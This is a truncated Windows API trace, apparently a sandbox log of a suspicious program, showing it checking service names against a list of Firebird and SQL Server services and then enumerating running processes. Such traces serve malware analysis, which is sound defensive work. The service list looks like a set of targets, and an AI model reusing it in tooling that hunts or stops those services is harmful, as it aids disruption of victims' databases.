lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0242.271] lstrlenW (lpString="EventSystem") returned 11 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0242.271] lstrlenW (lpString="FontCache") returned 9 [0242.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0242.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0242.271] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0242.271] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0242.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0242.271] lstrlenW (lpString="gpsvc") returned 5 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0242.272] lstrlenW (lpString="iphlpsvc") returned 8 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0242.272] lstrlenW (lpString="KeyIso") returned 6 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0242.272] lstrlenW (lpString="LanmanServer") returned 12 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0242.272] lstrlenW (lpString="LanmanWorkstation") returned 17 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0242.272] lstrlenW (lpString="lfsvc") returned 5 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0242.272] lstrlenW (lpString="lmhosts") returned 7 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0242.272] lstrlenW (lpString="LSM") returned 3 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0242.272] lstrlenW (lpString="MpsSvc") returned 6 [0242.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0242.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0242.272] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0242.272] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0242.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0242.272] lstrlenW (lpString="NcbService") returned 10 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0242.273] lstrlenW (lpString="netprofm") returned 8 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0242.273] lstrlenW (lpString="NgcSvc") returned 6 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0242.273] lstrlenW (lpString="NlaSvc") returned 6 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0242.273] lstrlenW (lpString="nsi") returned 3 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0242.273] lstrlenW (lpString="PcaSvc") returned 6 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0242.273] lstrlenW (lpString="PlugPlay") returned 8 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0242.273] lstrlenW (lpString="Power") returned 5 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0242.273] lstrlenW (lpString="ProfSvc") returned 7 [0242.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0242.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0242.273] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0242.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0242.273] lstrlenW (lpString="RpcEptMapper") returned 12 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0242.274] lstrlenW (lpString="RpcSs") returned 5 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0242.274] lstrlenW (lpString="SamSs") returned 5 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.274] lstrlenW (lpString="Schedule") returned 8 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.274] lstrlenW (lpString="SecurityHealthService") returned 21 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0242.274] lstrlenW (lpString="SENS") returned 4 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.274] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.274] lstrlenW (lpString="Spooler") returned 7 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.274] lstrlenW (lpString="StateRepository") returned 15 [0242.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0242.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0242.274] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0242.274] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0242.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0242.274] lstrlenW (lpString="SysMain") returned 7 [0242.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0242.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0242.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0242.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0242.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0242.275] lstrlenW (lpString="SystemEventsBroker") returned 18 [0242.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0242.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0242.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0242.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0242.275] lstrlenW (lpString="Themes") returned 6 [0242.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.275] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0242.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0242.275] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0242.275] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0242.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0242.275] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0242.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0242.275] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0242.275] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0242.275] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x54c [0242.295] Process32FirstW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.296] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.296] lstrlenW (lpString="System") returned 6 [0242.296] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.327] lstrlenW (lpString="smss.exe") returned 8 [0242.328] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.337] lstrlenW (lpString="csrss.exe") returned 9 [0242.337] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.337] lstrlenW (lpString="wininit.exe") returned 11 [0242.337] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.337] lstrlenW (lpString="csrss.exe") returned 9 [0242.337] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.338] lstrlenW (lpString="winlogon.exe") returned 12 [0242.338] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.338] lstrlenW (lpString="services.exe") returned 12 [0242.338] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.338] lstrlenW (lpString="lsass.exe") returned 9 [0242.339] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.339] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.339] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.339] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.339] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.339] lstrlenW (lpString="svchost.exe") returned 11 [0242.340] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.340] lstrlenW (lpString="svchost.exe") returned 11 [0242.340] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.340] lstrlenW (lpString="dwm.exe") returned 7 [0242.340] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.340] lstrlenW (lpString="svchost.exe") returned 11 [0242.341] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.341] lstrlenW (lpString="svchost.exe") returned 11 [0242.341] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.341] lstrlenW (lpString="svchost.exe") returned 11 [0242.341] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.341] lstrlenW (lpString="svchost.exe") returned 11 [0242.342] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.342] lstrlenW (lpString="svchost.exe") returned 11 [0242.342] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.342] lstrlenW (lpString="svchost.exe") returned 11 [0242.342] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.342] lstrlenW (lpString="svchost.exe") returned 11 [0242.342] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.343] lstrlenW (lpString="svchost.exe") returned 11 [0242.343] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.343] lstrlenW (lpString="svchost.exe") returned 11 [0242.343] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.343] lstrlenW (lpString="svchost.exe") returned 11 [0242.343] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.344] lstrlenW (lpString="spoolsv.exe") returned 11 [0242.344] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.344] lstrlenW (lpString="svchost.exe") returned 11 [0242.344] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.344] lstrlenW (lpString="audiodg.exe") returned 11 [0242.344] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.345] lstrlenW (lpString="svchost.exe") returned 11 [0242.345] Process32NextW (in: hSnapshot=0x54c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, 